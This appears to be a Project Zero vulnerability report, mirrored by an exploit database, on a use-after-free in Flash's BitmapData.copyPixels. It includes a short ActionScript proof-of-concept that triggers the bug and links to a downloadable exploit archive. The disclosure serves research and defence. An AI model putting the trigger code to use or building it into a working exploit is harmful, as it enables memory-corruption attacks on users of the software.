Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=843

There is a use-after-free in BitmapData.copyPixels. If the method is called on a MovieClip, and the MovieClip is deleted during parameter conversions, it is used to convert future parameters, even though it has already been freed. A minimal proof-of-concept follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var b = new flash.display.BitmapData(10, 10, true, 7);
var f = b.copyPixels;
mc.f = f;
mc.f( {}, { x : { valueOf : func}, y : 0, width : 10, height : 10 }, { x : 0, y :0 }, "natalie", { x : 0, y : 0});


function func(){

	mc.removeMovieClip();
	
	// Fix the heap	
	
	}


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40310.zip